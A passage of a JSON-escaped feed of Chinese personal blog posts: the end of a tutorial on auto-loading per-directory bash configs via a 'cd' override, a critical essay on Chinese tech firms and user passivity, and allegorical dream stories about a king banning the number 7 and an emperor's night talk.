class=\"string\"\u003e\u0026#x27;cd_hook\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面有依托用来检测是否是家目录的指令来避免套娃(虽然理论上充重复加载家目录配置应该没啥),然后是检测当前目录下(因为是先\u003ccode\u003ecd\u003c/code\u003e过去的嘛,所以\u003ccode\u003epwd\u003c/code\u003e已经变了)是否有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话就把它作为子参数,和家目录下的bashrc一起传给子bash,然后启动它。\u003c/p\u003e\u003cp\u003e这样就能实现cd后自动加载目录下的配置了。赶紧试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# My blog\u0026#x27;s utiilties and aliases\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTMPL=$(find ./_scaffolds | grep .md)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003edeploy\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf deploy \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; git checkout deploy\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy/source\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; pnpm i \u0026amp;\u0026amp; pnpm run server\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eimage_url_proc\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e find . -\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e f -name \u003cspan class=\"string\"\u003e\u0026quot;*.md\u0026quot;\u003c/span\u003e -\u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e sed -i \u003cspan class=\"string\"\u003e\u0026#x27;s/\\!\\[\\[\\(.*\\)\\/\\(.*\\)\\]\\]/\\!\\[\\2\\]\\(\\/img\\/\\2\\)/gi\u0026#x27;\u003c/span\u003e \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003enew_post\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sed -e \u003cspan class=\"string\"\u003e\u0026quot;s/\u0026#123;\u0026#123;title\u0026#125;\u0026#125;/\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e/\u0026quot;\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026quot;s/\u0026#123;\u0026#123;date\u0026#125;\u0026#125; \u0026#123;\u0026#123;time\u0026#125;\u0026#125;/\u003cspan class=\"subst\"\u003e$(date \u0026#x27;+%Y-%m-%d %H:%M:%S\u0026#x27;)\u003c/span\u003e/\u0026quot;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$TMPL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eline_count\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;You have wrote \u003cspan class=\"subst\"\u003e$(find _* -name *.md | xargs cat 2\u0026gt;/dev/null | wc -l)\u003c/span\u003e lines in total!\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ecd到目录里边试试\u003ccode\u003eline_count\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ line_count\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eYou have wrote 36570 lines \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e total!\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,再看看目录结构:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── .bashrc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 9 directories, 1 files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e爽死。\u003c/p\u003e\u003cp\u003e慢着,里边还有一行\u003ccode\u003epushd\u003c/code\u003e呢。嗯,这是后面用来实现自动退出子Shell的关键。具体实现等到下一部分再说吧,先睡了。\u003c/p\u003e\u003cp\u003e后来感觉这样有点太麻烦了,于是就把脚本简化了一下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ebuiltin\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$@\u003c/span\u003e\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [[ -f \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PWD\u003c/span\u003e/.bashrc\u0026quot;\u003c/span\u003e ]]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e bash --rcfile \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e ~/.bashrc \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PWD\u003c/span\u003e/.bashrc\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e bash --rcfile \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e ~/.bashrc)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e逻辑很简单,先直通参数执行完内置\u003ccode\u003ecd\u003c/code\u003e,然后判断目的目录底下有没有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话直接\u003ccode\u003eexec\u003c/code\u003e一个新的bash来加载这个配置文件和\u003ccode\u003e~/\u003c/code\u003e下的默认配置;如果没有的话,也\u003ccode\u003eexec\u003c/code\u003e一个新的bash替换当前进程。\u003c/p\u003e\u003cp\u003e之所以到一个新目录都要开一个新的进程替换当前进程,是为了使得只有在当前目录底下才可以使用当前文件夹的环境变量。不过这也带来了新的问题:那就是执行一些包含\u003ccode\u003ecd\u003c/code\u003e的脚本时,会因为\u003ccode\u003eexec\u003c/code\u003e用新的进程覆盖了当前进程的原因,导致脚本执行终止。\u003c/p\u003e\u003cp\u003e最后想了下,Makefile不也挺好用的(笑)。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"}]},{"name":"NanCunChild的个人随想","email":"Unknown","uri":"https://nancunchild.cn/","description":"","article":[{"title":"名声不重要,用户不重要","time":"2024-09-10T13:17:28Z","content":"\u003cp\u003e名声不重要,用户不重要。不是天然如此,只是数千年,他们都在鞭笞,我们都在妥协罢了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/10/is_ruputation_important/\"\u003e名声不重要,用户不重要\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch2\u003e名声重要吗\u003c/h2\u003e\n\u003cp\u003e大伙吐槽百度网盘的限速下载,P2P下载器的流氓行为,360的清理垃圾,微信的庞大体积等国产互联网毛病也不是一天两天了。甚至于P2P下载器还被315报道批评过。但是为什么他们都不在乎“名声”,反而避开一时风头后变本加厉呢?\u003c/p\u003e\n\u003cp\u003e首先出现的就是第一个问题,对于国内用户,名声真的重要吗?\u003cbr /\u003e\n名声的本来作用是吸引客户,规避法律风险。但是这在中国,垄断形成,用户不在乎隐私,国家缺乏相关立法等情况下,名声根本不重要。\u003cbr /\u003e\n中国用户对于隐私的妥协性,以及由于社会文化而不敢持续斗争和集体出来声讨的软弱性,注定了大厂可以在法律律的边缘游走,来不断的欺压普通用户。微信等软件多次出现扫盘的黑历史,拼多多使用漏洞窃取用户隐私,百度和夸克网盘都在占领市场获得资源份额后限制下载速度。虽然这些行为有些值得被声讨甚至部分行为触犯法律,但是它带来的利益和在市场上的优势是无与伦比的。而失败有可能产生的风险相比起来过于无足轻重。甚至中国法律本身就是具有相对的灵活性的“贵族法律”(论寡头政治的利弊)。单说拼多多事件,法律灵活到以至于各个专家都在批评拼多多的行为时,法律却没有站出来主持公道要求赔偿。用户也没有集体站出来坚持维权到底。风浪平息后,人们依旧在使用拼多多,甚至市场份额越来越大。甚至能跑到海外开店变成temu继续圈钱。\u003c/p\u003e\n\u003cp\u003e这些做法实际上就是明白地告诉用户“资本的目的是你的钱,而不是你”。似乎是用轻蔑和无言告诉我,我只是“用户”而不是“客户”。我的声音不可能盖过他们的扩音喇叭。但是这种事情后,大家的冷漠和不在乎更为致命,而且一个简单的赔偿30元代金券或者618活动就可以让大家忘记这件事情,重新进入狂欢。\u003c/p\u003e\n\u003cp\u003e其实在国家缺乏立法,用户没有意识以外,更深层的文化原因也是祸首。或者不如说根本原因便是它。\u003c/p\u003e\n\u003ch2\u003e下人重要吗\u003c/h2\u003e\n\u003cp\u003e即便用户有某种需求,而这点和垄断商家利益冲突而无法实现时,用户真的会集体站出来抗议,走法律程序吗?之所以陈云说中国人方便管理,是因为我们总是抱着“多一事不如少一事”的态度;害怕麻烦;害怕无意中得罪人;不想去担心除自己以外的人,特别是这种事情是大环境引起时。\u003cbr /\u003e\n我们一步步在冷漠和绥靖中养大了身上的吸血虫,以至于我们每拖一段时间,就越不可能将其拿下来。\u003cbr /\u003e\n“自己都管不好,怎么要去管这些事”\u003cbr /\u003e\n“饭都吃饱了,还管这些事干嘛”\u003cbr /\u003e\n“不要心胸这么狭隘,少得罪人”\u003cbr /\u003e\n这些话,已经听过许多不同的人说过很多遍了。但是最终我们沦落到了管不好被别人肆意践踏的自己,由于别人随意压榨而吃不饱饭,心胸宽大到别人滥用我们的善意(冷漠)的境况。\u003cbr /\u003e\n团结起来和强权斗争,这对中国人来说是不可能的事。而且这种近代还有些许的精神也在如今社会中被慢慢消磨。\u003c/p\u003e\n\u003cp\u003e在这些强权霸凌弱者的事件中,为何法律如此冷漠?虽然我们的精英政治注定了无权无势的小民注定无法碰瓷强权这座大山,跨越阶级的官司在开庭时就已经注定了结局。但是我们为了明面上的一点平等,为了后续社会的健康发展,也理应对太过分的事情予以平衡。然而每次宣传的侵犯公民个人隐私是犯罪只限于一些放木马的小团伙,拿他们来开刀借以说明我们法律的有效性;而到了民族资本家强权这里就因为担心影响、保证税收或者是简单的上面“关系”就完全熄火了,一点悬念都没有。\u003cbr /\u003e\n我们的法律从形式上学着西方,实际上从立法到执法却都适配着中国人的软弱和冷漠,对儒雅中国人的软肋进行拿捏,可以说中国几千年的智慧全在研究这上面了。从明确的立法到大条的执法,中间故意留下了大量的操作空间,从而导致了十年前就在谈论的名言“严格立法,选择执法”;“同阶级讲法律,跨阶级讲地位”。\u003c/p\u003e\n\u003cp\u003e如今强权霸凌还在扩张地盘,慢慢地从用户身上榨出一滴滴油水。而我们仍然选择了数千年中国人一直选择的路:忍着。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/10/is_ruputation_important/\"\u003e名声不重要,用户不重要\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/09/10/is_ruputation_important/"},{"title":"异梦杂谈(二)","time":"2024-09-09T09:21:21Z","content":"\u003cp\u003e成为了占星师,却无力改变一些事实\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/09/strange_dream_2/\"\u003e异梦杂谈(二)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch2\u003e入梦\u003c/h2\u003e\n\u003cp\u003e我是一位占星师,在旅途中为他人观察天象,占卜命运,以此获得一些报酬来支付旅途上的开销。我不为寻找什么东西,只是想在旅途中增长见闻。\u003cbr /\u003e\n我前往了一个国家,据说这个国家过去是学者喜欢演讲的自由交流之地,但是现在却使学者不敢靠近,国家也越发荒败,人们出逃了不少。出于好奇,我来到了这个夹在几个大城镇中的荒败小城,准备看看究竟发生了什么。\u003cbr /\u003e\n看到远远的一座石城,我知道我快到了。一旁的老农看到我身穿代表占星师的紫色长袍,叹了一口气,似乎在感叹些什么。我迟疑了一下,但是还是没有去问问。\u003cbr /\u003e\n慢慢走到了城门口,两旁站岗的士兵仔细盘查了我的身份和占星用品,给我指路:“伟大的DZ国王战无不胜,我们要始终坚持贯彻DZ国王的战略方针。。。你要去的学院在前面,离这里6B百米。”。我怀着疑问道了谢,向学院走去。路上的百姓似乎都在对我指指点点,似乎很久没看到外来的占星师了,况且我穿着南方的学者制服,显得更为扎眼。\u003cbr /\u003e\n我到了学院门口,遇到了外人拦住我,是我在其它哪个国家的学院都没看到过的黑色服装,上面还有皇家的徽章。\u003cbr /\u003e\n“要坚决贯彻伟大的DZ国王的领导,邀请函有吗?”那人拿着一个小本子,打了个哈欠。\u003cbr /\u003e\n我马上就意识到了这是什么,连忙答道有,拿出一小块金锭塞到他手里。他四下看了看,发现附近的人只有在办公室认真看报纸的同事后,快速地塞进了口袋。悄悄和我说:“你是外国人,原则上要签保证书和办临时良民证的,不过这次看你挺晓事,就只用一个人陪着就行。”,随后大声说道:“伟大的DZ国王指示我们要保证官员的纯洁性,要按照规定办事。。。有邀请函和证件就好办啦,给你安排个审查员吧”。随后进门口的办公室拽出一个臂袖上别着特殊纹章的年轻学者到我旁边,便进办公室去了。\u003cbr /\u003e\n我站在原地,和他面面相觑,他刚一开口,我就知道开头几个字:“伟大的DZ国王。。。”。在一顿冗长废话过后,我终于在他的指引下进入了一个教室听教授讲课。审查员紧挨着坐在我旁边,让我感觉不太自在。\u003cbr /\u003e\n上课的是一名胡子花白的老教授,内容就是念书,让人昏昏欲睡,坐了一会便起身离开换教室听。还好找到了一个讲星象的新老师,老师明显有些紧张,看到检查员时都有些不能流利的地说话了。但是他似乎对星象很痴迷,一会就进入了状态,开始用陶醉的神情说着星象的运动。\u003cbr /\u003e\n“星象是最宏大的,人类在它面前显得如此渺小。它左右和预测着人们的各种行为,可以说星象是最伟大的。。。”\u003cbr /\u003e\n我身边的检查员突然站起来,拍了一下桌子,把这位新老师眼睛吓大了。检查员拿出来一个小本子,说道:“胡说,最伟大这个词只有对DZ国王才能使用!XXX啊XXX,我早就说过这个学科需要有政治性,不能借用学科的名头搞这种颠覆!还有你刚刚那段时间提到了十几次那个数字,你事后来审查委员会接受教育!”。\u003cbr /\u003e\n我惊呆了,一下什么也没听懂。不过那老师却一下瘫在讲台边,唯唯诺诺地小声说是。一直没有站起来讲课了。教室里面的学者却似乎不太惊讶,默默拿出了天文星象书本开始自习。下课之后,那位审查员拽着那位新老师出了门。\u003cbr /\u003e\n等检查员走了之后,我前面的一位学者看我是外国人,开始和我攀谈起来。和我细细讲了这个国家变成这样的原委。\u003c/p\u003e\n\u003cp\u003e有一个王子诞生,有占卜师预言他的未来和国家会和数字7有关,整个国家可能会毁在这个数字上面,他的生命也会因为它而终结。老国王不屑一顾,但是他却非常害怕和担忧。于是便叫宫里人禁止谈论数字7,但是这个不祥的数字仍然不时出现,鸣钟的时间点,财务大臣的报告,御用教师发给他的课本等等。而且宫外,这个不祥的数字似乎在时时刻刻想侵入进来攻击他。\u003cbr /\u003e\n过了几年,他终于继承了王位,做的第一件事便是颁布禁7法。他宣布群众需要改变以前的习惯,数字七不能再被叫做七,而需要用其他的东西来代替。一开始,群众屡屡忘记,特别是其中的学者。结果人们仍然无视法律,继续使用这个数字。在市场上仍然标价7元,教室里仍然写着7,人们仍然在谈论7。\u003cbr /\u003e\n看着法令被大家无视,国王便设立专门的监察委员会,派出监察组成员前往国家各地,特别是会用到数字的菜市场和大学等地方。对于不尊重这个法令的人给予严厉的惩罚,学者遭到吊销学位,摊位老板被砸摊,工程负责人员被开除。\u003cbr /\u003e\n在杀死几个无辜的群众和激愤的知识分子后。大多数民众开始无奈地慢慢接受这个奇怪的规定,对于这个法令的无视慢慢转变成了愤懑,关于国王和无赖法令的坏话变多了。同时监察委员会的权力随着惩罚力度的加大不断地膨胀。为了抓住继续无视和暗中反对这条法令的人,监察委员会可以直接跳过司法程序抓百姓,无视内部规定惩办官员。按照国王的话来说就是“特殊状况使用特殊办法”\u003cbr /\u003e\n过了几年,学院里面每一篇论文的发表,每一堂课教案的准备都要经过监察委员会的批准。菜市场里面标注价格等行为,都需要通过良民证注册,拿到价格标注许可证,保证不会出现违规数字七。民众在平时的生活中还是不可避免的要用到这个数字,于是便使用了6E,6B,拐,思文(英文名也被禁止了),文等等。\u003cbr /\u003e\n由于监察委员会发现失去了可以逮捕的人,国王也渐渐失去兴趣时,便扩大了抓捕范围。对于这条法令有不满的,不尊重国王的,蔑视委员会的。。。监狱里面的人又多起来了。\u003cbr /\u003e\n街上歌颂国王的海报多了起来,学院里面的国内政治课也常常满人(监委会宣布政治成为必修,来矫正不正确的思想),人们讲话也以国王语录开头。\u003cbr /\u003e\n但是监狱里面的人多了起来,人们边歌颂着国王一边逃向了邻国,学者一边说着国王的领导大于一切一边到了国外留学。这里慢慢变成了这副模样。监察委员会变成了这个国家最大的势力,年轻人的志向基本都是做上这里面的差事。\u003c/p\u003e\n\u003cp\u003e“这一切就是因为那个7?”我一下愣住了。\u003cbr /\u003e\n“嘘!是6+1!不过没错,确实是那样。”\u003cbr /\u003e\n我眼神发着愣,慢慢地把东西收进包。走了出去,出了学院,出了城门。但心里久久不能释怀。\u003c/p\u003e\n\u003ch2\u003e梦醒时分\u003c/h2\u003e\n\u003cp\u003e闹钟响了,我睁开眼睛,8点了。想着还好我的现实里面没有6+1。不过等等,真的没有吗?感觉思考着好累,我又睡去了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/09/strange_dream_2/\"\u003e异梦杂谈(二)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/09/09/strange_dream_2/"},{"title":"异梦杂谈(一)","time":"2024-07-22T17:57:41Z","content":"\u003cp\u003e只是做了一个当皇帝的梦罢了\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/23/strange_dream_1/\"\u003e异梦杂谈(一)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch3\u003e入梦\u003c/h3\u003e\n\u003cp\u003e我是皇帝,一位大臣和我夜谈。\u003cbr /\u003e\n我优雅的用袖子拂去绣金坐垫上不存在的灰尘,然后缓慢而不失贵族风范地坐下。大臣脸上却是失望而疲惫的神色,也不动声色地坐下了。这一幕让我觉得我是佯装贵族的穷小子,而他是有精神贵族君子风范的读书人。\u003cbr /\u003e\n“皇上,我们当初打天下时都是穷苦农家出身。苦于官府苛税,又值岁旱民饥,揭竿而起。您日后身登大宝,卑臣得入庙堂。这些您是知道的。”\u003cbr /\u003e\n我不耐烦地回忆了一下小时候的事,只是允许记忆浮现一小会便让我感到不舒服。以前的事情像是另一个人经历的,而我只是一个旁观者一般。初得京城,一个人深夜时总会把白天的奏折放在一边,想起以前的事。此时感觉我身边的富贵如同泡影一般抓不住,它们暂时存在,但是就像掌中的一抔沙或者一鞠水,总是会流走。不真实是存在的,恐惧也是存在的。因此我尽量不想去回忆这些,只用关心享不尽荣华富贵的当下。所以慢慢地半夜思考的内容变成了今夜让哪个嫔妃侍寝,白天哪个大臣眼神不对劲等等。他突然这么一说,我不想回忆的事情又再次出现了。\u003cbr /\u003e\n我哼了一声,表示听到了。\u003cbr /\u003e\n大臣也不敢有其他动作,只是用不变的语调继续说着:“您当时说着要体恤百姓,抚慰万民。行尧舜之道,践贤君之行。今日之举,臣恐。。。”\u003cbr /\u003e\n我将原先盯着煤盆的目光转向他,他不由自主把话慢了下来,最终停下话头,眼神中带着一点惶恐地等着我的意思。\u003cbr /\u003e\n“湛乐饮酒,或经营四方。我做什么,也轮不到底下人计较。他们有点不满也得憋着。”我毫不在意\u003cbr /\u003e\n大臣低着头,我猜他这个文化人肚子里有一堆墨水要吐出来,现在正在筛选哪些吐出来不会让我撕破脸皮搬了他的脑袋。\u003cbr 